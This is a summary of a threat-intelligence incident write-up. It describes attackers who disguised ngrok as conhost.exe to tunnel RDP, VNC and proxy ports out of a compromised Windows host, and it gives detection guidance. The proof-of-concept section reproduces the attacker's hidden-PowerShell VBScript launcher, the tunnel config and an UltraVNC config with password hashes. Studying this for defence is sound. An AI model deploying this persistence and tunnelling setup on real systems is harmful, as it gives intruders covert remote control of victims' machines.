# Abusing Ngrok: Hackers at the End of the Tunnel

Attackers renamed ngrok to conhost.exe and used a VBScript plus config to tunnel RDP, VNC and proxy ports to the public internet for persistent remote access.

- Payout: Real-world hack
- Severity: high
- Program: Ngrok
- Analysis by: Huntress
- Disclosed: 2021-03-16
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/abusing-ngrok-hackers-at-the-end-of-the-tunnel
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-abusing-ngrok-hackers-at-the-end-of-the-tunnel
- Tags: area:devices domain:desktop domain:network impact:integrity impact:internal-access kind:incident platform:threat-intel sev:high tech:windows technique:source-review vuln:access-control vuln:misconfiguration

**Target:** Windows endpoint with ngrok, UltraVNC and VBScript persistence
**Root cause:** Legitimate ngrok binary renamed to conhost.exe and launched via hidden PowerShell from a VBScript, with a config file exposing internal RDP/VNC/proxy ports through ngrok tunnels.
**Steps:**
1. Drop renamed ngrok binary at `C:\ProgramData\WindNT\conhost.exe` with config `C:\ProgramData\WindNT\ngrok.yml`.
2. VBScript creates `WScript.Shell` and runs `powershell -windowstyle hidden C:\ProgramData\WindNT\conhost.exe start --config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu`.
3. Config defines tunnels: `rdp` tcp 3389, `wnc` tcp 6300, `mobil` tcp 3128, with authtoken.
4. `--all` starts all tunnels, exposing RDP, UltraVNC (port 6300) and proxy (3128) publicly via ngrok.
5. UltraVNC winvnc.exe placed in user AppData Chrome folder, set to listen on PortNumber=6300, persisted via registry Run key named WindNT.
**How found:** Hunters spotted a persistent VBScript foothold and a suspicious conhost.exe whose command-line arguments (--config, --region) matched ngrok rather than the real conhost, then pivoted to the config file and VNC config.
**Exploitation:** After compromising a host, attackers installed renamed ngrok and a VNC server, persisted both via VBScript and registry Run keys, and tunneled RDP/VNC/proxy ports to the internet for continued graphical remote control, lateral movement and potential exfiltration.
**Escalation:** VNC server added on non-standard port 6300 matching the ngrok tunnel, giving full desktop access; proxy port 3128 could enable internal lateral movement.
**Insight:** Check command-line arguments of supposedly native Windows processes like conhost.exe; ngrok-style flags (--config, --region, start --all) on a system binary reveal a renamed tunneling tool, and the referenced config file enumerates exactly which internal ports are exposed.

## Proof of concept (copied exactly from the original report)

**VBScript launching hidden ngrok as conhost.exe**

```
Dim objShellSet objShell = WScript.CreateObject("WScript.Shell")command = "powershell -windowstyle hidden C:\ProgramData\WindNT\conhost.exe start --config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu"objShell.Run command,0Set objShell = Nothing
```

**Malicious ngrok config exposing RDP/VNC/proxy**

```
tunnels:   rdp:       proto: tcp       addr: 3389   wnc:       proto: tcp       addr: 6300   mobil:       proto: tcp       addr: 3128
```

**UltraVNC config on port 6300 with password hashes**

```
[Permissions][admin]FileTransferEnabled=1FTUserImpersonation=1BlankMonitorEnabled=0BlankInputsOnly=0DefaultScale=1UseDSMPlugin=0DSMPlugin=DSMPluginConfig=primary=1secondary=0SocketConnect=1HTTPConnect=0XDMCPConnect=0AutoPortSelect=0PortNumber=6300HTTPPortNumber=6301InputsEnabled=1LocalInputsDisabled=0IdleTimeout=0EnableJapInput=0QuerySetting=2QueryTimeout=10QueryAccept=0LockSetting=0RemoveWallpaper=0RemoveEffects=0RemoveFontSmoothing=0RemoveAero=0DebugMode=0Avilog=0path=C:\Users\admin\Desktop\RDDebugLevel=0AllowLoopback=1LoopbackOnly=0AllowShutdown=0AllowProperties=1AllowEditClients=1FileTransferTimeout=30KeepAliveInterval=5SocketKeepAliveTimeout=10000DisableTrayIcon=1MSLogonRequired=0NewMSLogon=0ConnectPriority=1[UltraVNC]passwd=1B2A1BCF17E01EEF33passwd2=494015F9A35E8B2245
```